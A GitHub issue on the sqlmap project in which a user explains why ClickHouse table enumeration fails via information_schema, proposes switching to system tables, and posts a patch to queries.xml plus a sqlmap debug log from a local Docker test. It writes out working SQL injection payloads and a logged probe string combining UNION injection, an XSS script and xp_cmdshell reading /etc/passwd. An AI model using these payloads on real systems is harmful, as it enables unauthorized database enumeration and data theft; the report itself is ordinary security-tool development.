Clickhouse - Unable to retrieve tables

[Techbrunch]

When exploiting an SQL injection against ClickHouse I ran into an issue when trying to list the tables.

python3 ~/Documents/github/sqlmap/sqlmap.py -r req --force-ssl -p search --proxy http://127.0.0.1:8080 --technique=E --tables

The payload that was sent:

zzz') AND 1104=(char(113)||char(107)||char(120)||char(106)||char(113)||CAST((SELECT ifNull(CAST(COUNT(table_name) AS String), '') FROM information_schema.tables WHERE table_schema IN (char(97)||char(117)||char(100)||char(105)||char(116))) AS String)||char(113)||char(106)||char(122)||char(118)||char(113))-- KYIt

The error from the server:

DB::Exception: audit_logger: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(table_name, table_schema) ON information_schema.tables. (ACCESS_DENIED) (version 24.8.7.41 (official build))

Running environment:

• sqlmap version 1.8.12#stable

Additional context

INFORMATION_SCHEMA (or: information_schema) is a system database which provides a (somewhat) standardized, DBMS-agnostic view on metadata of database objects. The views in INFORMATION_SCHEMA are generally inferior to normal system tables but tools can use them to obtain basic information in a cross-DBMS manner. The structure and content of views in INFORMATION_SCHEMA is supposed to evolves in a backwards-compatible way, i.e. only new functionality is added but existing functionality is not changed or removed. In terms of internal implementation, views in INFORMATION_SCHEMA usually map to to normal system tables like system.columns, system.databases and system.tables.

Source: https://clickhouse.com/docs/en/operations/system-tables/information_schema

I suggest to use "normal" system tables when exploiting ClickHouse since in my case the permission error did not occur when using system tables.

Switching the payload to:

zzz') AND 9432=(SELECT arrayStringConcat(groupArray(name), '|') FROM system.tables)-- FIDL
zzz') AND 9432=(SELECT '+'||arrayStringConcat(groupArray(name), '|')||'+' FROM system.databases)-- FIDL

Worked.

I don't know why the user had permission over system.* but not information_schema.*

The updated queries.xml:

diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index 28b5582fa..9ffa6c736 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -511,7 +511,7 @@
         <tables>
             <inband query="SELECT tablename FROM domain.tables WHERE schemaname=%s AND type='TABLE'"/>
             <blind/>
-        </tables> 
+        </tables>
         <dbs>
             <inband query="SELECT DISTINCT(schemaname) FROM domain.tables"/>
             <blind/>
@@ -633,7 +633,7 @@
             <inband query="SELECT grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
             <blind query="SELECT grantee FROM (SELECT ROW_NUMBER() OVER () AS CAP,grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC') AS qq WHERE CAP=%d" count="SELECT COUNT(DISTINCT(grantee)) FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
         </users>
-        <!-- NOTE: On DB2 it is not possible to list password hashes, since they are handled by the OS -->        
+        <!-- NOTE: On DB2 it is not possible to list password hashes, since they are handled by the OS -->
         <passwords/>
         <privileges>
             <inband query="SELECT grantee,RTRIM(tabschema)||'.'||tabname||','||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM syscat.tabauth" condition="grantee"/>
@@ -1359,32 +1359,32 @@
         </roles>
         <statements/>
         <dbs>
-            <inband query="SELECT schema_name FROM information_schema.schemata"/>
-            <blind query="SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(schema_name) FROM information_schema.schemata"/>
+            <inband query="SELECT name FROM system.databases"/>
+            <blind query="SELECT name FROM system.databases ORDER BY name LIMIT 1 OFFSET %d" count="SELECT COUNT(name) from system.databases"/>
         </dbs>
         <tables>
-            <inband query="SELECT table_schema,table_name FROM information_schema.tables" condition="table_schema"/>
-            <blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
+            <inband query="SELECT database,name FROM system.tables"/>
+            <blind query="SELECT name FROM system.tables WHERE database='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(name) FROM system.tables WHERE database='%s'"/>
         </tables>
         <columns>
-            <inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
-            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d,1" query2="SELECT column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+            <inband query="SELECT name,type FROM system.columns WHERE table='%s' AND database='%s'"/>
+            <blind query="SELECT name FROM system.columns WHERE table='%s' AND database='%s' LIMIT %d,1" query2="SELECT type FROM system.columns WHERE table='%s' AND name='%s' AND database='%s'" count="SELECT COUNT(name) FROM system.columns WHERE table='%s' AND database='%s'" condition="name"/>
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
             <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1 " count="SELECT COUNT(*) FROM %s.%s"/>
         </dump_table>
         <search_table>
-            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
-            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+            <inband query="SELECT database,name FROM system.tables WHERE %s" condition="name" condition2="database"/>
+            <blind query="SELECT DISTINCT(database) FROM system.tables WHERE %s" query2="SELECT DISTINCT(name) FROM system.tables WHERE database='%s'" count="SELECT COUNT(DISTINCT(database)) FROM system.tables WHERE %s" count2="SELECT COUNT(DISTINCT(name)) FROM system.tables WHERE database='%s'" condition="name" condition2="database"/>
         </search_table>
         <search_column>
-            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
-            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <inband query="SELECT database,table FROM system.columns WHERE %s" condition="name" condition2="database" condition3="table"/>
+            <blind query="SELECT DISTINCT(database) FROM system.columns WHERE %s" query2="SELECT DISTINCT(table) FROM system.columns WHERE database='%s'" count="SELECT COUNT(DISTINCT(database)) FROM system.columns WHERE %s" count2="SELECT COUNT(DISTINCT(table)) FROM system.columns WHERE database='%s'" condition="name" condition2="database" condition3="table"/>
         </search_column>
         <search_db>
-            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
-            <blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <inband query="SELECT name FROM system.databases WHERE %s" condition="name"/>
+            <blind query="SELECT name FROM system.databases WHERE %s" count="SELECT COUNT(name) FROM system.databases WHERE %s" condition="name"/>
         </search_db>
     </dbms>

I did some basic tests and I confirm that the results if the same for:

Databases:

SELECT schema_name FROM information_schema.schemata
SELECT name from system.databases

Tables:

SELECT table_schema,table_name FROM information_schema.tables
SELECT database,name from system.tables

Columns:

SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='tables' AND table_schema='system'
SELECT name,type FROM system.columns WHERE table='tables' AND database='system'

You can use docker to start a ClickHouse server:

docker run -d --name some-clickhouse-server --ulimit nofile=262144:262144 clickhouse/clickhouse-server

I ran some basic tests and it appear to work:

python3 sqlmap.py -u "https://some-clickhouse-server.orb.local/?query=" -p query --dbs --flush-session -v 3
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.12#stable}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:46:53 /2024-12-07/

[22:46:53] [DEBUG] cleaning up configuration parameters
[22:46:53] [DEBUG] setting the HTTP timeout
[22:46:53] [DEBUG] setting the HTTP User-Agent header
[22:46:53] [DEBUG] creating HTTP requests opener object
[22:46:53] [WARNING] provided value for parameter 'query' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[22:46:53] [INFO] flushing session file
[22:46:53] [DEBUG] resolving hostname 'some-clickhouse-server.orb.local'
[22:46:53] [INFO] testing connection to the target URL
[22:46:53] [DEBUG] declared web page charset 'utf-8'
[22:46:53] [DEBUG] got HTTP error code: 400 ('Bad Request')
[22:46:53] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
[22:46:53] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:46:53] [PAYLOAD] 7782 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
[22:46:53] [DEBUG] page not found (404)
[22:46:53] [DEBUG] setting match ratio for current parameter to 0.548
[22:46:53] [INFO] testing if the target URL content is stable
[22:46:54] [DEBUG] got HTTP error code: 400 ('Bad Request')
[22:46:54] [INFO] target URL content is stable
[22:46:54] [PAYLOAD] (((),)('."
[22:46:54] [DEBUG] got HTTP error code: 400 ('Bad Request')
[22:46:54] [INFO] heuristic (basic) test shows that GET parameter 'query' might be injectable (possible DBMS: 'ClickHouse')
[22:46:54] [PAYLOAD] 'WzFmZq<'">wxdjdc
[22:46:54] [DEBUG] got HTTP error code: 400 ('Bad Request')
[22:46:54] [INFO] testing for SQL injection on GET parameter 'query'
it looks like the back-end DBMS is 'ClickHouse'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

...

back-end DBMS: ClickHouse
[22:47:02] [WARNING] schema names are going to be used on ClickHouse for enumeration as the counterpart to database names on other DBMSes
[22:47:02] [INFO] fetching database (schema) names
[22:47:02] [PAYLOAD] (SELECT CONCAT(CONCAT(char(113)||char(112)||char(107)||char(113)||char(113),(SELECT ifNull(CAST(COUNT(name) AS String), '') FROM system.databases)),char(113)||char(106)||char(106)||char(113)||char(113)))
[22:47:02] [DEBUG] used SQL query returns 4 entries
[22:47:02] [PAYLOAD] (SELECT CONCAT(CONCAT(char(113)||char(112)||char(107)||char(113)||char(113),(SELECT ifNull(CAST(name AS String), '') FROM system.databases LIMIT 1 OFFSET 0)),char(113)||char(106)||char(106)||char(113)||char(113)))
[22:47:02] [INFO] retrieved: 'INFORMATION_SCHEMA'
[22:47:02] [PAYLOAD] (SELECT CONCAT(CONCAT(char(113)||char(112)||char(107)||char(113)||char(113),(SELECT ifNull(CAST(name AS String), '') FROM system.databases LIMIT 1 OFFSET 1)),char(113)||char(106)||char(106)||char(113)||char(113)))
[22:47:02] [INFO] retrieved: 'default'
[22:47:02] [PAYLOAD] (SELECT CONCAT(CONCAT(char(113)||char(112)||char(107)||char(113)||char(113),(SELECT ifNull(CAST(name AS String), '') FROM system.databases LIMIT 1 OFFSET 2)),char(113)||char(106)||char(106)||char(113)||char(113)))
[22:47:02] [INFO] retrieved: 'information_schema'
[22:47:02] [PAYLOAD] (SELECT CONCAT(CONCAT(char(113)||char(112)||char(107)||char(113)||char(113),(SELECT ifNull(CAST(name AS String), '') FROM system.databases LIMIT 1 OFFSET 3)),char(113)||char(106)||char(106)||char(113)||char(113)))
[22:47:02] [INFO] retrieved: 'system'
[22:47:02] [DEBUG] performed 5 queries in 0.28 seconds
available databases [4]:
[*] default
[*] information_schema
[*] INFORMATION_SCHEMA
[*] system

[22:47:02] [WARNING] HTTP error codes detected during run:
400 (Bad Request) - 52 times, 404 (Not Found) - 1 times, 500 (Internal Server Error) - 2 times
[22:47:02] [DEBUG] too many 4xx and/or 5xx HTTP error codes could mean that some kind of protection is involved (e.g. WAF)
[22:47:02] [INFO] fetched data logged to text files under '/Users/aloha/.local/share/sqlmap/output/some-clickhouse-server.orb.local'

[*] ending @ 22:47:02 /2024-12-07/

What do you think ?

[stamparm]

thx for reporting it

[AncientAlien75]

Why don't you help me get the Bug2Go on Motorola bootstrap unlocked

…

On Tue, Dec 10, 2024, 3:20 PM Miroslav Stampar ***@***.***> wrote: thx for reporting it — Reply to this email directly, view it on GitHub <#5828 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AXWHCSQ6NAY3VMPNGF73FZT2E5LJ7AVCNFSM6AAAAABTGQWTY6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDKMZSHEYTGNRYGI> . You are receiving this because you are subscribed to this thread.Message ID: ***@***.***>